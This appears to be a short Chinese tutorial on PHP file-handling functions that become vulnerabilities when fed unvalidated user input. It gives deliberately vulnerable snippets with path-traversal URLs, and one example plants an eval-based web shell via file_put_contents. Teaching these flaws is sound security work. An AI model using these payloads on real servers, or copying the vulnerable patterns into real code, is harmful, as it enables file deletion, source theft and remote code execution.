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                ThinkChat2.0新版上線,更智能更精彩,支持會話、畫圖、視頻、閱讀、搜索等,送10W Token,即刻開啟你的AI之旅 廣告
                PHP 的用于文件管理的函數,如果輸入變量可由用戶提交,程序中也沒有做數據驗證,可 能成為高危漏洞 常見函數 : copy、rmdir、unlink、delete、fwrite、 chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents 、fread、readfile、ftruncate、 file_put_contents、fputcsv、fputs fopen 增加 刪除 編寫 修改 unlink ``` //test.php?f=../../demo.php $file=$_GET['f']; if (is_file($f)) { unlink($f); } ``` file_get_contents ``` //test.php?f=../../demo.php $file=$_GET['f']; echo file_get_contents($file); //不會輸出但是在瀏覽器查看源代碼可以查看demo.php的源代碼 ``` readfile ``` //test.php?f=../../demo.php $file=$_GET['f']; echo readfile($file); //輸出demo的長度不會輸出內容但是在瀏覽器查看源代碼可以查看demo.php的源代碼 ``` file_put_contents ``` //test.php?f=../../demo.php&text=<?php eval($_POST['CMD'])?> $file=$_GET['f']; $text=$_GET['text']; file_put_contents($file,$text); ``` copy ``` //test.php?f=../../demo.php&text=demo2.php $file=$_GET['f']; $text=$_GET['text']; copy($file,$text); ``` ``` //test.php?f=../../demo.php $file=$_GET['f']; fwrite(fopen($file,'a+'),'<?php phpinfo();?>'); ```
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